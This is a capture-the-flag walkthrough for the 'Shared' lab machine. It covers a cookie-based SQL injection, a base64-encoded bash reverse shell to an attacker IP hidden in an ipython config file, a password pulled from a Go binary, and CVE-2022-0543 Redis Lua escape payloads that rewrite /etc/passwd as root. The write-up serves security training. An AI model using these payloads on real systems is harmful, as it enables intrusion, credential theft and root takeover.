Shared
11 minutes to read
- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.172
- Release: 23 / 07 / 2022
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.172 -p 22,80,443
Nmap scan report for 10.10.11.172
Host is up (0.061s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 91:e8:35:f4:69:5f:c2:e2:0e:27:46:e2:a6:b6:d8:65 (RSA)
| 256 cf:fc:c4:5d:84:fb:58:0b:be:2d:ad:35:40:9d:c3:51 (ECDSA)
|_ 256 a3:38:6d:75:09:64:ed:70:cf:17:49:9a:dc:12:6d:11 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://shared.htb
|_http-server-header: nginx/1.18.0
443/tcp open ssl/http nginx 1.18.0
|_http-title: Did not follow redirect to https://shared.htb
| ssl-cert: Subject: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US
| Not valid before: 2022-03-20T13:37:14
|_Not valid after: 2042-03-15T13:37:14
| tls-nextprotoneg:
| h2
|_ http/1.1
| tls-alpn:
| h2
|_ http/1.1
|_http-server-header: nginx/1.18.0
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 17.63 seconds
This machine has ports 22 (SSH), 80 (HTTP) and 443 (HTTPS) open.
Enumeration
If we go to http://10.10.11.172
, we will be redirected to https://shared.htb
, so we must enter shared.htb
as a domain in /etc/hosts
. This is the index webpage:
It shows an e-commerce store made with PrestaShop. Before enumerating the website, we can enumerate more subdomains with ffuf
:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://10.10.11.172 -r -H 'Host: FUZZ.shared.htb' -fl 1495
checkout [Status: 200, Size: 3229, Words: 1509, Lines: 65, Duration: 1459ms]
Ok, so after adding checkout.shared.htb
in /etc/hosts
, we have this:
Here we can try random things and see a weird alert message:
In fact, this subdomain is used to handle orders from the main website. When we click any item, add it to the cart, and then go to checkout. We will have a session cookie that tells the information we have stored in the cart:
The cookie is URL encoded, so let’s decode it using Node.js:
$ node
Welcome to Node.js v18.7.0.
Type ".help" for more information.
> decodeURIComponent('%7B%22YCS98E4A%22%3A%221%22%7D')
'{"YCS98E4A":"1"}'
Finding SQLi
Ok, it is just a JSON document. What if we modify our cookie and use a SQL injection payload? Let’s try:
> encodeURIComponent(`{"' or 1=1-- -":"1"}`)
"%7B%22'%20or%201%3D1--%20-%22%3A%221%22%7D"
Now we can set this cookie in the browser and see what we have:
If we look carefully, we will notice that the item in the cart is different from before, so the injection has been successful. Now let’s use UNION
queries to see the number of columns of the current table and to check the one that is reflected in the page.
Finally, we will get that it has 3 columns and the second one is reflected:
> encodeURIComponent(`{"' union select 1,2,3-- -":"1"}`)
"%7B%22'%20union%20select%201%2C2%2C3--%20-%22%3A%221%22%7D"
Foothold
To enumerate the database, I decided to write a short script using Node.js called sqli.js
(detailed explanation here). We will get the output of the reflected column:
$ node sqli.js "' union select 1,'asdf',3-- -"
asdf
SQLi exploitation
Let’s do basic enumeration (database name, username and version):
$ node sqli.js "' union select 1,database(),3-- -"
checkout
$ node sqli.js "' union select 1,user(),3-- -"
checkout@localhost
$ node sqli.js "' union select 1,version(),3-- -"
10.5.15-MariaDB-0+deb11u1
Now let’s enumerate table names:
$ node sqli.js "' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='checkout'),3-- -"
user,product
Ok, user
and product
. The first one looks more promising, so let’s enumerate its columns:
$ node sqli.js "' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='user'),3-- -"
id,username,password
Obviously, we will get username
and password
:
$ node sqli.js "' union select 1,(select concat(username,':',password) from user),3-- -"
james_mason:fc895d4eddc2fc12f995e18c865cf273
And we got a username and a hashed password. If we go to crackstation.net, we will obtain the corresponding password (Soleil101
) with a rainbow table attack:
System enumeration
At this point, we can access to the machine through SSH using the above credentials:
$ ssh james_mason@10.10.11.172
james_mason@10.10.11.172's password:
james_mason@shared:~$ ls -la
total 20
drwxr-xr-x 2 james_mason james_mason 4096 Jul 14 13:46 .
drwxr-xr-x 4 root root 4096 Jul 14 13:46 ..
lrwxrwxrwx 1 root root 9 Mar 20 09:42 .bash_history -> /dev/null
-rw-r--r-- 1 james_mason james_mason 220 Mar 20 09:23 .bash_logout
-rw-r--r-- 1 james_mason james_mason 3526 Mar 20 09:23 .bashrc
-rw-r--r-- 1 james_mason james_mason 807 Mar 20 09:23 .profile
But there’s no user.txt
flag yet, it belongs to another user called dan_smith
:
james_mason@shared:~$ find / -name user.txt 2>/dev/null
/home/dan_smith/user.txt
james_mason@shared:~$ ls /home
dan_smith james_mason
We can see some files related to ipython
that belong to dan_smith
:
james_mason@shared:~$ ls -la /home/dan_smith/
total 32
drwxr-xr-x 4 dan_smith dan_smith 4096 Jul 14 13:47 .
drwxr-xr-x 4 root root 4096 Jul 14 13:46 ..
lrwxrwxrwx 1 root root 9 Mar 20 09:42 .bash_history -> /dev/null
-rw-r--r-- 1 dan_smith dan_smith 220 Aug 4 2021 .bash_logout
-rw-r--r-- 1 dan_smith dan_smith 3526 Aug 4 2021 .bashrc
drwxr-xr-x 3 dan_smith dan_smith 4096 Jul 14 13:47 .ipython
-rw-r--r-- 1 dan_smith dan_smith 807 Aug 4 2021 .profile
drwx------ 2 dan_smith dan_smith 4096 Jul 14 13:47 .ssh
-rw-r----- 1 root dan_smith 33 Aug 8 19:07 user.txt
james_mason@shared:~$ find / -user dan_smith 2>/dev/null
/home/dan_smith
/home/dan_smith/.bashrc
/home/dan_smith/.bash_logout
/home/dan_smith/.profile
/home/dan_smith/.ipython
/home/dan_smith/.ipython/profile_default
/home/dan_smith/.ipython/profile_default/startup
/home/dan_smith/.ipython/profile_default/startup/README
/home/dan_smith/.ipython/profile_default/pid
/home/dan_smith/.ipython/profile_default/history.sqlite
/home/dan_smith/.ipython/profile_default/log
/home/dan_smith/.ipython/profile_default/security
/home/dan_smith/.ipython/profile_default/db
/home/dan_smith/.ssh
Moreover, we belong to a group called developer
, and we can write to /opt/scripts_review
:
james_mason@shared:/tmp$ id
uid=1000(james_mason) gid=1000(james_mason) groups=1000(james_mason),1001(developer)
james_mason@shared:/tmp$ find / -group developer 2>/dev/null
/opt/scripts_review
james_mason@shared:/tmp$ ls -la /opt/scripts_review/
total 8
drwxrwx--- 2 root developer 4096 Jul 14 13:46 .
drwxr-xr-x 3 root root 4096 Jul 14 13:46 ..
Lateral movement to user dan_smith
If we upload pspy
to the machine and run it, we will see some suspicious commands:
james_mason@shared:/tmp$ wget -qO .pspy 10.10.17.44/pspy64s
james_mason@shared:/tmp$ chmod +x .pspy
james_mason@shared:/tmp$ ./.pspy
...
CMD: UID=0 PID=2624 | /usr/sbin/CRON -f
CMD: UID=1001 PID=2629 | /bin/sh -c /usr/bin/pkill ipython; cd /opt/scripts_review/ && /usr/local/bin/ipython
CMD: UID=0 PID=2628 | /bin/bash /root/c.sh
CMD: UID=0 PID=2627 | /bin/bash /root/c.sh
CMD: UID=0 PID=2626 | /bin/sh -c /root/c.sh
CMD: UID=1001 PID=2630 | /usr/bin/pkill ipython
CMD: UID=1001 PID=2631 | /usr/bin/python3 /usr/local/bin/ipython
CMD: UID=0 PID=2635 | /bin/bash /root/c.sh
CMD: UID=0 PID=2634 | /bin/bash /root/c.sh
CMD: UID=0 PID=2637 | pidof redis-server
CMD: UID=0 PID=2636 | perl -ne s/\((\d+)\)/print " $1"/ge
The user with UID 1001 (dan_smith
) is changing to the directory /opt/scripts_review
and running ipython
.
After some research, we find out that ipython
provides a lot of functionalities that can be configured in a “dotfile” called ipython_config.py
. The default is to be in the user’s home directory, but if ipython
does not find it there, then checks the current working directory. You can find an example of ipython_config.py
here.
So the idea is to add a file called ipython_config.py
in /opt/scripts_review
with some Python code that will be executed by dan_smith
. For example, a reverse shell:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
james_mason@shared:/tmp$ cat > /opt/scripts_review/ipython_config.py
c.InteractiveShellApp.code_to_run = 'import os; os.system("echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash")'
^C
And after some seconds we get the connection back as dan_smith
:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.172.
Ncat: Connection from 10.10.11.172:51336.
bash: cannot set terminal process group (2901): Inappropriate ioctl for device
bash: no job control in this shell
dan_smith@shared:/opt/scripts_review$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
dan_smith@shared:/opt/scripts_review$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
dan_smith@shared:/opt/scripts_review$ export TERM=xterm
dan_smith@shared:/opt/scripts_review$ export SHELL=bash
dan_smith@shared:/opt/scripts_review$ stty rows 50 columns 158
Now we can read the user.txt
flag:
dan_smith@shared:/opt/scripts_review$ cd
dan_smith@shared:~$ cat user.txt
8cf849aae38747f376fba467db547f98
Privilege escalation
This user belongs to group sysadmin
, which owns an ELF file at /usr/local/bin/redis_connector_dev
:
dan_smith@shared:~$ id
uid=1001(dan_smith) gid=1002(dan_smith) groups=1002(dan_smith),1001(developer),1003(sysadmin)
dan_smith@shared:~$ find / -group sysadmin 2>/dev/null
/usr/local/bin/redis_connector_dev
dan_smith@shared:~$ ls -l /usr/local/bin/redis_connector_dev
-rwxr-x--- 1 root sysadmin 5974154 Mar 20 09:41 /usr/local/bin/redis_connector_dev
dan_smith@shared:~$ file /usr/local/bin/redis_connector_dev
/usr/local/bin/redis_connector_dev: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=sdGIDsCGb51jonJ_67fq/_JkvEmzwH9g6f0vQYeDG/iH1iXHhyzaDZJ056wX9s/7UVi3T2i2LVCU8nXlHgr, not stripped
Analyzing redis_connector_dev
We can open the binary in Ghidra. This is main.main
:
void main.main(sigaction *param_1, sigaction *param_2, undefined8 param_3, undefined8 param_4, sigaction *param_5, sigaction *param_6) {
undefined8 uVar1;
undefined *puVar2;
long lVar3;
undefined8 extraout_RDX;
undefined8 extraout_RDX_00;
undefined8 extraout_RDX_01;
long in_FS_OFFSET;
undefined in_stack_00000000;
undefined7 in_stack_00000001;
void *pvVar4;
undefined8 uVar5;
long lVar6;
undefined local_58[16];
undefined local_48[16];
undefined local_38[16];
undefined local_28[16];
undefined local_18[16];
lVar3 = *(long *)(in_FS_OFFSET + 0xfffffff8);
if (*(undefined **)(ulong *)(lVar3 + 0x10) <= local_38 + 8 &&
local_38 + 8 != *(undefined **)(ulong *)(lVar3 + 0x10)) {
local_48 = CONCAT88(0x6b0760, 0x6265a0);
pvVar4 = os.Stdout;
fmt.Fprintln(param_1, param_2, go.itab.*os.File, io.Writer, local_48, param_5, param_6,
(long)go.itab.*os.File, io.Writer, os.Stdout, (sigaction **)local_48, 1, 1);
runtime.newobject();
*(undefined8 *)((long)pvVar4 + 0x18) = 0xe;
*(undefined **)((long)pvVar4 + 0x10) = &DAT_0067171e;
*(undefined8 *)((long)pvVar4 + 0x38) = 0x10;
*(undefined **)((long)pvVar4 + 0x30) = &DAT_00671c55;
*(undefined8 *)((long)pvVar4 + 0x40) = 0;
github.com/go-redis/redis.NewClient
(param_1, param_2, extraout_RDX, &DAT_00671c55, param_5, param_6, pvVar4);
puVar2 = &DAT_006265a0;
local_58 = CONCAT88(0x6b0770, 0x6265a0);
lVar6 = 1;
fmt.Fprintln(param_1, param_2, ocal_58, &DAT_006265a0, param_5, param_6,
(long)go.itab.*os.File, io.Writer, os.Stdout, (sigaction **)local_58, 1, 1);
local_38 = CONCAT88(6, 0x66f8d4);
uVar5 = 1;
github.com/go-redis/redis.(*cmdable).Info
(param_1, param_2, extraout_RDX_00, puVar2, param_5, param_6,
(undefined8 *)((long)pvVar4 + 0x48), (undefined8 *)local_38, 1);
lVar3 = *(long *)(lVar6 + 0x18);
uVar1 = *(undefined8 *)(lVar6 + 0x20);
runtime.convTstring(param_1, param_2, uVar1, lVar3, param_5, param_6, *(undefined8 *)(lVar6 + 0x30),
*(long *)(lVar6 + 0x38));
if (lVar3 != 0) {
lVar3 = *(long *)(lVar3 + 8);
}
local_28 = CONCAT88(uVar5, 0x6265a0);
local_18 = CONCAT88(uVar1, lVar3);
fmt.Fprintln(param_1, param_2, &DAT_006265a0, go.itab.*os.File, io.Writer, param_5, param_6,
(long)go.itab.*os.File, io.Writer, os.Stdout, (sigaction **)local_28, 2, 2);
return;
}
runtime.morestack_noctxt
(param_1, param_2, param_3, lVar3, (undefined (*) [16])param_5, param_6,
CONCAT71(in_stack_00000001, in_stack_00000000));
main.main(param_1, param_2, extraout_RDX_01, lVar3, param_5, param_6);
return;
}
Since it is compiled in Go, it is a bit hard to read, but we can see that it uses go-redis
. If we go to their GitHub page, we will see that it uses NewClient
to connect to a Redis instance using the corresponding password:
We can see an example on the same repository:
So the host and port to connect to is in the first parameter, that is DAT_0067171e
in the decompiled source code (localhost:6379
):
DAT_0067171e XREF[5]: github.com/go-redis/redis.(*Opti
github.com/go-redis/redis.(*Opti
github.com/go-redis/redis.(*Opti
main.main:0060a944(*),
main.main:0060a94b(*)
0067171e 6c ?? 6Ch l
0067171f 6f ?? 6Fh o
00671720 63 ?? 63h c
00671721 61 ?? 61h a
00671722 6c ?? 6Ch l
00671723 68 ?? 68h h
00671724 6f ?? 6Fh o
00671725 73 ?? 73h s
00671726 74 ?? 74h t
00671727 3a ?? 3Ah :
00671728 36 ?? 36h 6
00671729 33 ?? 33h 3
0067172a 37 ?? 37h 7
0067172b 39 ?? 39h 9
And the password is in DAT_00671c55
:
DAT_00671c55 XREF[2]: main.main:0060a957(*),
main.main:0060a95e(*)
00671c55 46 ?? 46h F
00671c56 32 ?? 32h 2
00671c57 57 ?? 57h W
00671c58 48 ?? 48h H
00671c59 71 ?? 71h q
00671c5a 4a ?? 4Ah J
00671c5b 55 ?? 55h U
00671c5c 7a ?? 7Ah z
00671c5d 32 ?? 32h 2
00671c5e 57 ?? 57h W
00671c5f 45 ?? 45h E
00671c60 7a ?? 7Ah z
00671c61 3d ?? 3Dh =
00671c62 47 ?? 47h G
00671c63 71 ?? 71h q
00671c64 71 ?? 71h q
00671c65 47 ?? 47h G
00671c66 43 ?? 43h C
00671c67 20 ?? 20h
00671c68 73 ?? 73h s
00671c69 63 ?? 63h c
00671c6a 61 ?? 61h a
00671c6b 76 ?? 76h v
00671c6c 65 ?? 65h e
00671c6d 6e ?? 6Eh n
00671c6e 67 ?? 67h g
00671c6f 65 ?? 65h e
00671c70 20 ?? 20h
00671c71 77 ?? 77h w
00671c72 61 ?? 61h a
00671c73 69 ?? 69h i
00671c74 74 ?? 74h t
00671c75 47 ?? 47h G
00671c76 43 ?? 43h C
00671c77 20 ?? 20h
00671c78 77 ?? 77h w
00671c79 6f ?? 6Fh o
00671c7a 72 ?? 72h r
00671c7b 6b ?? 6Bh k
00671c7c 65 ?? 65h e
00671c7d 72 ?? 72h r
00671c7e 20 ?? 20h
00671c7f 28 ?? 28h (
00671c80 69 ?? 69h i
00671c81 64 ?? 64h d
00671c82 6c ?? 6Ch l
00671c83 65 ?? 65h e
00671c84 29 ?? 29h )
So we have this password: F2WHqJUz2WEz=GqqGC
. Since the binary connects to Redis, let’s to connect using redis-cli
:
dan_smith@shared:~$ redis-cli
127.0.0.1:6379> auth F2WHqJUz2WEz=GqqGC
(error) WRONGPASS invalid username-password pair
It is incorrect… Since Go treats strings in an unusual way, Ghidra is not able to analyze strings correctly sometimes (strings in Go don’t end in a null byte). Let’s try removing some characters from the end:
127.0.0.1:6379> auth F2WHqJUz2WEz=GqqG
(error) WRONGPASS invalid username-password pair
127.0.0.1:6379> auth F2WHqJUz2WEz=Gqq
OK
Alright, we are in.
Exploiting Redis
There is a recent vulnerability related to Redis that allows an attacker to run Lua code and escape from the sandbox to execute commands as root
(the user that runs Redis). This is CVE-2022-0543.
An example of exploitation can be found here. And it is exploitable:
127.0.0.1:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
"uid=0(root) gid=0(root) groups=0(root)\n"
Now we can modify /etc/passwd
to set a password to root
:
$ openssl passwd 7Rocky
CohYEKIMKecEQ
127.0.0.1:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("sed -i s/root:x/root:CohYEKIMKecEQ/g /etc/passwd", "r"); local res = f:read("*a"); f:close(); return res' 0
""
127.0.0.1:6379>
dan_smith@shared:~$ head -1 /etc/passwd
root:CohYEKIMKecEQ:0:0:root:/root:/bin/bash
And since the password has changed, we can switch to root
using 7Rocky
as password:
dan_smith@shared:~$ su root
Password:
root@shared:/home/dan_smith# cat /root/root.txt
6eedbf18e767bd0887a363166c42ebc0